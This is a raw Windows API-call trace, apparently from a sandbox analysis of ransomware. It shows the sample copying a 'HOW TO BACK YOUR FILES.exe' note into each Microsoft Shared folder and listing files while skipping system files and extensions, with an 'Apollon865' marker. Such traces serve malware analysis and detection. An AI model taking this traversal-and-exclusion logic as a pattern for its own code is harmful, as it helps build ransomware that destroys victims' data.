	[0075.450] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="Apollon865") returned 1
	[0075.450] lstrlenW (lpString=".dll") returned 4
	[0075.450] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2=".dll") returned 1
	[0075.450] lstrlenW (lpString=".lnk") returned 4
	[0075.450] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2=".lnk") returned 1
	[0075.450] lstrlenW (lpString=".ini") returned 4
	[0075.450] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2=".ini") returned 1
	[0075.450] lstrlenW (lpString=".sys") returned 4
	[0075.450] lstrcmpiW (lpString1="STINTL.DLL.IDX_DLL", lpString2=".sys") returned 1
	[0075.450] lstrlenW (lpString="STINTL.DLL.IDX_DLL") returned 18
	[0075.450] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF"
	[0075.450] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.450] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0075.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF") returned 52
	[0075.450] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF"
	[0075.450] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.450] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.460] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.460] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x450b6d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x450b6d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.460] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.460] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.460] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.460] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x450b6d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x450b6d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.460] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.460] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.461] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.461] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.461] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x450b6d70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x450b6d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.461] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.461] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1
	[0075.461] lstrcmpiW (lpString1="MSLID.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.461] lstrcmpiW (lpString1="MSLID.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0075.461] lstrcmpiW (lpString1="MSLID.DLL", lpString2=".") returned 1
	[0075.461] lstrcmpiW (lpString1="MSLID.DLL", lpString2="..") returned 1
	[0075.461] lstrcmpiW (lpString1="MSLID.DLL", lpString2="windows") returned -1
	[0075.461] lstrcmpiW (lpString1="MSLID.DLL", lpString2="bootmgr") returned 1
	[0075.461] lstrcmpiW (lpString1="MSLID.DLL", lpString2="temp") returned -1
	[0075.461] lstrcmpiW (lpString1="MSLID.DLL", lpString2="pagefile.sys") returned -1
	[0075.461] lstrcmpiW (lpString1="MSLID.DLL", lpString2="boot") returned 1
	[0075.461] lstrcmpiW (lpString1="MSLID.DLL", lpString2="ids.txt") returned 1
	[0075.461] lstrcmpiW (lpString1="MSLID.DLL", lpString2="ntuser.dat") returned -1
	[0075.461] lstrcmpiW (lpString1="MSLID.DLL", lpString2="perflogs") returned -1
	[0075.461] lstrcmpiW (lpString1="MSLID.DLL", lpString2="MSBuild") returned 1
	[0075.461] lstrlenW (lpString="MSLID.DLL") returned 9
	[0075.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*") returned 54
	[0075.461] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="MSLID.DLL" | out: lpString1="MSLID.DLL") returned="MSLID.DLL"
	[0075.461] lstrlenW (lpString="MSLID.DLL") returned 9
	[0075.461] lstrlenW (lpString="Apollon865") returned 10
	[0075.461] lstrlenW (lpString=".dll") returned 4
	[0075.461] lstrcmpiW (lpString1="MSLID.DLL", lpString2=".dll") returned 1
	[0075.461] lstrlenW (lpString=".lnk") returned 4
	[0075.461] lstrcmpiW (lpString1="MSLID.DLL", lpString2=".lnk") returned 1
	[0075.461] lstrlenW (lpString=".ini") returned 4
	[0075.461] lstrcmpiW (lpString1="MSLID.DLL", lpString2=".ini") returned 1
	[0075.461] lstrlenW (lpString=".sys") returned 4
	[0075.461] lstrcmpiW (lpString1="MSLID.DLL", lpString2=".sys") returned 1
	[0075.461] lstrlenW (lpString="MSLID.DLL") returned 9
	[0075.462] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="MSWDS_EN.LEX" | out: lpString1="MSWDS_EN.LEX") returned="MSWDS_EN.LEX"
	[0075.462] lstrlenW (lpString="MSWDS_EN.LEX") returned 12
	[0075.462] lstrlenW (lpString="Apollon865") returned 10
	[0075.462] lstrcmpiW (lpString1="WDS_EN.LEX", lpString2="Apollon865") returned 1
	[0075.462] lstrlenW (lpString=".dll") returned 4
	[0075.462] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2=".dll") returned 1
	[0075.462] lstrlenW (lpString=".lnk") returned 4
	[0075.462] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2=".lnk") returned 1
	[0075.462] lstrlenW (lpString=".ini") returned 4
	[0075.462] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2=".ini") returned 1
	[0075.462] lstrlenW (lpString=".sys") returned 4
	[0075.462] lstrcmpiW (lpString1="MSWDS_EN.LEX", lpString2=".sys") returned 1
	[0075.462] lstrlenW (lpString="MSWDS_EN.LEX") returned 12
	[0075.462] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="MSWDS_ES.LEX" | out: lpString1="MSWDS_ES.LEX") returned="MSWDS_ES.LEX"
	[0075.462] lstrlenW (lpString="MSWDS_ES.LEX") returned 12
	[0075.462] lstrlenW (lpString="Apollon865") returned 10
	[0075.462] lstrcmpiW (lpString1="WDS_ES.LEX", lpString2="Apollon865") returned 1
	[0075.462] lstrlenW (lpString=".dll") returned 4
	[0075.462] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2=".dll") returned 1
	[0075.462] lstrlenW (lpString=".lnk") returned 4
	[0075.462] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2=".lnk") returned 1
	[0075.462] lstrlenW (lpString=".ini") returned 4
	[0075.462] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2=".ini") returned 1
	[0075.462] lstrlenW (lpString=".sys") returned 4
	[0075.462] lstrcmpiW (lpString1="MSWDS_ES.LEX", lpString2=".sys") returned 1
	[0075.462] lstrlenW (lpString="MSWDS_ES.LEX") returned 12
	[0075.462] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="MSWDS_FR.LEX" | out: lpString1="MSWDS_FR.LEX") returned="MSWDS_FR.LEX"
	[0075.462] lstrlenW (lpString="MSWDS_FR.LEX") returned 12
	[0075.462] lstrlenW (lpString="Apollon865") returned 10
	[0075.462] lstrcmpiW (lpString1="WDS_FR.LEX", lpString2="Apollon865") returned 1
	[0075.462] lstrlenW (lpString=".dll") returned 4
	[0075.462] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2=".dll") returned 1
	[0075.462] lstrlenW (lpString=".lnk") returned 4
	[0075.463] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2=".lnk") returned 1
	[0075.463] lstrlenW (lpString=".ini") returned 4
	[0075.463] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2=".ini") returned 1
	[0075.463] lstrlenW (lpString=".sys") returned 4
	[0075.463] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2=".sys") returned 1
	[0075.463] lstrlenW (lpString="MSWDS_FR.LEX") returned 12
	[0075.463] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform"
	[0075.463] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafd0 | out: hHeap=0x580000) returned 1
	[0075.463] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0075.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform") returned 79
	[0075.463] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform"
	[0075.463] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.463] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.468] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.468] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x450dced0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x450dced0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.468] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.468] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.468] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.468] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x450dced0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x450dced0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.468] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.468] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.468] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.468] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.468] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x450dced0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x450dced0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.468] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.468] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1
	[0075.468] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.468] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0075.468] lstrcmpiW (lpString1="OSPPC.DLL", lpString2=".") returned 1
	[0075.468] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="..") returned 1
	[0075.469] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="windows") returned -1
	[0075.469] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="bootmgr") returned 1
	[0075.469] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="temp") returned -1
	[0075.469] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="pagefile.sys") returned -1
	[0075.469] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="boot") returned 1
	[0075.469] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="ids.txt") returned 1
	[0075.469] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="ntuser.dat") returned 1
	[0075.469] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="perflogs") returned -1
	[0075.469] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="MSBuild") returned 1
	[0075.469] lstrlenW (lpString="OSPPC.DLL") returned 9
	[0075.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*") returned 81
	[0075.469] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="OSPPC.DLL" | out: lpString1="OSPPC.DLL") returned="OSPPC.DLL"
	[0075.469] lstrlenW (lpString="OSPPC.DLL") returned 9
	[0075.469] lstrlenW (lpString="Apollon865") returned 10
	[0075.469] lstrlenW (lpString=".dll") returned 4
	[0075.469] lstrcmpiW (lpString1="OSPPC.DLL", lpString2=".dll") returned 1
	[0075.469] lstrlenW (lpString=".lnk") returned 4
	[0075.469] lstrcmpiW (lpString1="OSPPC.DLL", lpString2=".lnk") returned 1
	[0075.469] lstrlenW (lpString=".ini") returned 4
	[0075.469] lstrcmpiW (lpString1="OSPPC.DLL", lpString2=".ini") returned 1
	[0075.469] lstrlenW (lpString=".sys") returned 4
	[0075.469] lstrcmpiW (lpString1="OSPPC.DLL", lpString2=".sys") returned 1
	[0075.469] lstrlenW (lpString="OSPPC.DLL") returned 9
	[0075.469] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="OSPPCEXT.DLL" | out: lpString1="OSPPCEXT.DLL") returned="OSPPCEXT.DLL"
	[0075.469] lstrlenW (lpString="OSPPCEXT.DLL") returned 12
	[0075.469] lstrlenW (lpString="Apollon865") returned 10
	[0075.469] lstrcmpiW (lpString1="PPCEXT.DLL", lpString2="Apollon865") returned 1
	[0075.469] lstrlenW (lpString=".dll") returned 4
	[0075.469] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2=".dll") returned 1
	[0075.469] lstrlenW (lpString=".lnk") returned 4
	[0075.469] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2=".lnk") returned 1
	[0075.469] lstrlenW (lpString=".ini") returned 4
	[0075.470] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2=".ini") returned 1
	[0075.470] lstrlenW (lpString=".sys") returned 4
	[0075.470] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2=".sys") returned 1
	[0075.470] lstrlenW (lpString="OSPPCEXT.DLL") returned 12
	[0075.470] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="osppobjs-spp-plugin-manifest-signed.xrm-ms" | out: lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms") returned="osppobjs-spp-plugin-manifest-signed.xrm-ms"
	[0075.470] lstrlenW (lpString="osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 42
	[0075.470] lstrlenW (lpString="Apollon865") returned 10
	[0075.470] lstrcmpiW (lpString1="ned.xrm-ms", lpString2="Apollon865") returned 1
	[0075.470] lstrlenW (lpString=".dll") returned 4
	[0075.470] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2=".dll") returned 1
	[0075.470] lstrlenW (lpString=".lnk") returned 4
	[0075.470] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2=".lnk") returned 1
	[0075.470] lstrlenW (lpString=".ini") returned 4
	[0075.470] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2=".ini") returned 1
	[0075.470] lstrlenW (lpString=".sys") returned 4
	[0075.470] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2=".sys") returned 1
	[0075.470] lstrlenW (lpString="osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 42
	[0075.470] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="OSPPOBJS.DLL" | out: lpString1="OSPPOBJS.DLL") returned="OSPPOBJS.DLL"
	[0075.470] lstrlenW (lpString="OSPPOBJS.DLL") returned 12
	[0075.470] lstrlenW (lpString="Apollon865") returned 10
	[0075.470] lstrcmpiW (lpString1="PPOBJS.DLL", lpString2="Apollon865") returned 1
	[0075.470] lstrlenW (lpString=".dll") returned 4
	[0075.470] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2=".dll") returned 1
	[0075.470] lstrlenW (lpString=".lnk") returned 4
	[0075.470] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2=".lnk") returned 1
	[0075.470] lstrlenW (lpString=".ini") returned 4
	[0075.470] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2=".ini") returned 1
	[0075.470] lstrlenW (lpString=".sys") returned 4
	[0075.470] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2=".sys") returned 1
	[0075.470] lstrlenW (lpString="OSPPOBJS.DLL") returned 12
	[0075.471] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="OSPPREARM.EXE" | out: lpString1="OSPPREARM.EXE") returned="OSPPREARM.EXE"
	[0075.471] lstrlenW (lpString="OSPPREARM.EXE") returned 13
	[0075.471] lstrlenW (lpString="Apollon865") returned 10
	[0075.471] lstrcmpiW (lpString1="PREARM.EXE", lpString2="Apollon865") returned 1
	[0075.471] lstrlenW (lpString=".dll") returned 4
	[0075.471] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2=".dll") returned 1
	[0075.471] lstrlenW (lpString=".lnk") returned 4
	[0075.471] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2=".lnk") returned 1
	[0075.471] lstrlenW (lpString=".ini") returned 4
	[0075.471] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2=".ini") returned 1
	[0075.471] lstrlenW (lpString=".sys") returned 4
	[0075.471] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2=".sys") returned 1
	[0075.471] lstrlenW (lpString="OSPPREARM.EXE") returned 13
	[0075.471] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="OSPPSVC.EXE" | out: lpString1="OSPPSVC.EXE") returned="OSPPSVC.EXE"
	[0075.471] lstrlenW (lpString="OSPPSVC.EXE") returned 11
	[0075.471] lstrlenW (lpString="Apollon865") returned 10
	[0075.471] lstrcmpiW (lpString1="SPPSVC.EXE", lpString2="Apollon865") returned 1
	[0075.471] lstrlenW (lpString=".dll") returned 4
	[0075.471] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2=".dll") returned 1
	[0075.471] lstrlenW (lpString=".lnk") returned 4
	[0075.471] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2=".lnk") returned 1
	[0075.471] lstrlenW (lpString=".ini") returned 4
	[0075.471] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2=".ini") returned 1
	[0075.471] lstrlenW (lpString=".sys") returned 4
	[0075.471] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2=".sys") returned 1
	[0075.471] lstrlenW (lpString="OSPPSVC.EXE") returned 11
	[0075.471] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="OSPPWMI.DLL" | out: lpString1="OSPPWMI.DLL") returned="OSPPWMI.DLL"
	[0075.471] lstrlenW (lpString="OSPPWMI.DLL") returned 11
	[0075.471] lstrlenW (lpString="Apollon865") returned 10
	[0075.472] lstrcmpiW (lpString1="SPPWMI.DLL", lpString2="Apollon865") returned 1
	[0075.472] lstrlenW (lpString=".dll") returned 4
	[0075.472] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2=".dll") returned 1
	[0075.472] lstrlenW (lpString=".lnk") returned 4
	[0075.472] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2=".lnk") returned 1
	[0075.472] lstrlenW (lpString=".ini") returned 4
	[0075.472] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2=".ini") returned 1
	[0075.472] lstrlenW (lpString=".sys") returned 4
	[0075.472] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2=".sys") returned 1
	[0075.472] lstrlenW (lpString="OSPPWMI.DLL") returned 11
	[0075.472] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="OSPPWMI.MOF" | out: lpString1="OSPPWMI.MOF") returned="OSPPWMI.MOF"
	[0075.472] lstrlenW (lpString="OSPPWMI.MOF") returned 11
	[0075.472] lstrlenW (lpString="Apollon865") returned 10
	[0075.472] lstrcmpiW (lpString1="SPPWMI.MOF", lpString2="Apollon865") returned 1
	[0075.472] lstrlenW (lpString=".dll") returned 4
	[0075.472] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2=".dll") returned 1
	[0075.472] lstrlenW (lpString=".lnk") returned 4
	[0075.472] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2=".lnk") returned 1
	[0075.472] lstrlenW (lpString=".ini") returned 4
	[0075.472] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2=".ini") returned 1
	[0075.472] lstrlenW (lpString=".sys") returned 4
	[0075.472] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2=".sys") returned 1
	[0075.472] lstrlenW (lpString="OSPPWMI.MOF") returned 11
	[0075.472] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14"
	[0075.472] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.472] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0075.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14") returned 55
	[0075.472] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14"
	[0075.472] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.472] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.480] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x45103030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45103030, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.480] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.480] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.480] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.480] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x45103030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45103030, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.480] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
